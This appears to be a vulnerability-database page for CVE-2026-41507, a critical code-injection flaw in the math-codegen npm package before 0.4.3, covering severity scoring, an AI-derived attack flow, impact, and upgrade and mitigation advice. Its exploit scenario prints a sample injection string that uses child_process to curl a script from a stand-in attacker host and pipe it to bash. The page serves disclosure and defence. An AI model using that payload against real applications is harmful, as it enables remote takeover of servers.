Skip to main content

math-codegen EUVDEUVD-2026-28597

| CVE-2026-41507 CRITICAL
Code Injection (CWE-94)
2026-05-08 security-advisories@github.com GHSA-p6x5-p4xf-cc4r
9.8
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Access math evaluation endpoint
  2. Delivery
    Inject crafted expression with string literal payload
  3. Exploit
    Trigger cg.parse() processing
  4. Execution
    Break out of Function() context
  5. Persist
    Execute injected JavaScript
  6. Impact
    Run system commands with process privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions required-remote unauthenticated exploitation against default configurations of math-codegen package versions < 0.4.3. Any application that accepts user input and passes it to the cg.parse() method is immediately vulnerable. The only prerequisite is that the vulnerable application must expose an interface (HTTP endpoint, WebSocket, CLI, etc.) where attacker-controlled data flows into the parser. No specific product configuration, feature enablement, or deployment mode is required. The CVSS vector AV:N/AC:L/PR:N/UI:N confirms no limiting factors exist-attack complexity is low, no privileges are required, and no user interaction is needed. Applications that validate or restrict input types before parsing may have limited protection, but properly escaping all string literal injection vectors is complex and error-prone.

Impact

This is a critical-severity vulnerability with maximum real-world risk. CVSS 9.8 with AV:N/AC:L/PR:N/UI:N indicates trivial remote exploitation requiring no authentication, low complexity, and no user interaction. The attack vector is network-accessible, meaning any internet-facing application using math-codegen for user input evaluation is immediately exploitable. The GitHub Security Advisory confirms full RCE impact, allowing arbitrary system command execution. While EPSS and SSVC data are not provided, the combination of unauthenticated network exploitation and RCE impact places this in the highest priority tier for patching. The technical barrier is extremely low-a simple crafted string in a math expression achieves code execution. Applications exposing calculator APIs, formula evaluators, or any math processing endpoints are at immediate risk. The availability of both a public GitHub advisory (GHSA-p6x5-p4xf-cc4r) and detailed commit diff means proof-of-concept exploits can be trivially constructed. This vulnerability should be treated as an emergency patch priority for any deployment using affected versions.

Exploit ScenarioDerived

An attacker sends a crafted HTTP POST request to a web application's calculator API endpoint containing a malicious mathematical expression like '"); require('child_process').exec('curl attacker.com/shell.sh | bash'); //'. The application passes this input to math-codegen's cg.parse() function. Due to the lack of sanitization, the string literal breaks out of the intended code context and injects arbitrary JavaScript into the Function() body. The injected code executes with the privileges of the Node.js process, downloading and executing a reverse shell that provides the attacker with full system access. The entire attack requires only a single HTTP request with no authentication.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 08, 2026

Remote code execution in math-codegen npm package versions prior to 0.4.3 allows unauthenticated attackers to execute arbitrary system commands via string literal injection into the cg.parse() function. The vulnerability stems from unsanitized string literals being injected directly into new Function() bodies, enabling full command execution on any application exposing math evaluation endpoints that process user input. EPSS score not available, but this is a critical unauthenticated RCE requiring no special conditions beyond user input reaching the vulnerable parser. Vendor-released patch available in version 0.4.3.

RemediationAI

Upgrade math-codegen to version 0.4.3 or later immediately. The fix is implemented in commit 4bb52d3030683362b3559ee8dd91350555a05f6b and merged via pull request #11, which replaces unsafe string concatenation with JSON.stringify() across all code generation nodes. Update package.json to specify "math-codegen": "^0.4.3" and run npm update. Verify the upgrade with npm list math-codegen. Full advisory and patch details available at https://github.com/mauriciopoppe/math-codegen/security/advisories/GHSA-p6x5-p4xf-cc4r. As a temporary workaround if immediate upgrading is not possible, implement strict input sanitization to reject or escape any string literals before passing to cg.parse(), though this is difficult to implement correctly and not recommended as a long-term solution. Alternatively, disable or restrict access to any endpoints that expose math evaluation functionality until patching is complete. For defense in depth, run the Node.js process with minimal privileges and consider sandboxing techniques, though these do not eliminate the vulnerability.

Affected VersionsENISA

math-codegen < 0.4.3

Affected Packages

npm math-codegen fix: 0.4.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

math-codegen is an npm library that generates executable JavaScript code from mathematical expressions. The vulnerability (CWE-94: Improper Control of Generation of Code / Code Injection) occurs in the code generation pipeline where string literals passed through cg.parse() are concatenated directly into dynamically constructed Function() bodies without escaping. The commit diff shows the fix replaced unsafe string concatenation (e.g., 'scope["' + node.name + '"]') with JSON.stringify() across multiple node handlers (ConstantNode.js, SymbolNode.js, AssignmentNode.js, FunctionNode.js). This ensures user-controlled strings are properly escaped and treated as data rather than executable code. The vulnerability affects the core parsing and code generation mechanism, meaning any mathematical expression containing attacker-controlled string literals can break out of the intended context and inject arbitrary JavaScript that executes with the privileges of the Node.js process.

Know when Math Codegen gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (github) · only source for this CVE.

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

math-codegen generates code from mathematical expressions. Prior to version 0.4.3, string literal content passed to cg.parse() is injected verbatim into a new Function() body without sanitization. This allows an attacker to execute arbitrary system commands when user-controlled input reaches the parser. Any application exposing a math evaluation endpoint where user input flows into cg.parse() is vulnerable to full RCE. This issue has been patched in version 0.4.3.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 16 npm packages depend on math-codegen (2 direct, 14 indirect)

Ecosystem-wide dependent count for version 0.4.3.

Executive ViewAI

Why It Matters

The math-codegen npm package (versions before 0.4.3) contains a critical remote code execution vulnerability that allows unauthenticated attackers to execute arbitrary system commands through malicious input to the cg.parse() function. Any application using this package to process user-supplied mathematical expressions faces immediate risk of complete system compromise without authentication barriers. Organizations must identify affected dependencies across their application portfolio and patch immediately.

Business Impact: Severe
Compensating Controls

Apply vendor patch. If immediate patching is impossible: implement network-level restrictions to block access to affected endpoints, disable math evaluation features temporarily, apply Web Application Firewall (WAF) rules to reject payloads containing Function() or code execution patterns, and run affected services with minimal privilege (non-root).

Threat Intelligence Overview

EPSS Score
0.0%
Top 86% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +49
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy